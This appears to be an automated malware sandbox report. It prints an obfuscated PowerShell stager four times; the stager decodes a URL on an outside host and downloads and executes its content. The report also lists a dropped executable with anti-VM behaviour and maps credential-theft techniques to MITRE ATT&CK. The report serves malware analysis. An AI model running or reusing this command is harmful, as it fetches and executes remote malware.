conhost --headless powershell $kcxehirfjzumlv='ur' ;set-alias protons c$($kcxehirfjzumlv)l;$lwrcpx=(5668,5667,5684,5671,5670,5667,5685,5671,5669,5681,5616,5682,5684,5681,5617,5619,5616,5682,5674,5682,5633,5685,5631,5672,5678,5675,5668,5667,5668,5669,5619,5619);$ospjen=('ertigos','get-cmdlet');$bszmkalfhpv=$lwrcpx;foreach($avxgnzdsuhi in $bszmkalfhpv){$gmphklfu=$avxgnzdsuhi;$utbfjnqdokhigr=$utbfjnqdokhigr+[char]($gmphklfu-5570);$gktdxfzup=$utbfjnqdokhigr; $jgifpyq=$gktdxfzup};$fucnvtrwyimp[2]=$jgifpyq;$rpethob='rl';$mksadlw=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(protons -useb $jgifpyq)
1⤵
- Process spawned unexpected child process
PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $kcxehirfjzumlv='ur' ;set-alias protons c$($kcxehirfjzumlv)l;$lwrcpx=(5668,5667,5684,5671,5670,5667,5685,5671,5669,5681,5616,5682,5684,5681,5617,5619,5616,5682,5674,5682,5633,5685,5631,5672,5678,5675,5668,5667,5668,5669,5619,5619);$ospjen=('ertigos','get-cmdlet');$bszmkalfhpv=$lwrcpx;foreach($avxgnzdsuhi in $bszmkalfhpv){$gmphklfu=$avxgnzdsuhi;$utbfjnqdokhigr=$utbfjnqdokhigr+[char]($gmphklfu-5570);$gktdxfzup=$utbfjnqdokhigr; $jgifpyq=$gktdxfzup};$fucnvtrwyimp[2]=$jgifpyq;$rpethob='rl';$mksadlw=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(protons -useb $jgifpyq)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2052

C:\Windows\system32\conhost.exe
conhost --headless powershell $kcxehirfjzumlv='ur' ;set-alias protons c$($kcxehirfjzumlv)l;$lwrcpx=(5668,5667,5684,5671,5670,5667,5685,5671,5669,5681,5616,5682,5684,5681,5617,5619,5616,5682,5674,5682,5633,5685,5631,5672,5678,5675,5668,5667,5668,5669,5619,5619);$ospjen=('ertigos','get-cmdlet');$bszmkalfhpv=$lwrcpx;foreach($avxgnzdsuhi in $bszmkalfhpv){$gmphklfu=$avxgnzdsuhi;$utbfjnqdokhigr=$utbfjnqdokhigr+[char]($gmphklfu-5570);$gktdxfzup=$utbfjnqdokhigr; $jgifpyq=$gktdxfzup};$fucnvtrwyimp[2]=$jgifpyq;$rpethob='rl';$mksadlw=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(protons -useb $jgifpyq)
1⤵
- Process spawned unexpected child process
PID:10200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $kcxehirfjzumlv='ur' ;set-alias protons c$($kcxehirfjzumlv)l;$lwrcpx=(5668,5667,5684,5671,5670,5667,5685,5671,5669,5681,5616,5682,5684,5681,5617,5619,5616,5682,5674,5682,5633,5685,5631,5672,5678,5675,5668,5667,5668,5669,5619,5619);$ospjen=('ertigos','get-cmdlet');$bszmkalfhpv=$lwrcpx;foreach($avxgnzdsuhi in $bszmkalfhpv){$gmphklfu=$avxgnzdsuhi;$utbfjnqdokhigr=$utbfjnqdokhigr+[char]($gmphklfu-5570);$gktdxfzup=$utbfjnqdokhigr; $jgifpyq=$gktdxfzup};$fucnvtrwyimp[2]=$jgifpyq;$rpethob='rl';$mksadlw=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(protons -useb $jgifpyq)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5984

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6644

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:8268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion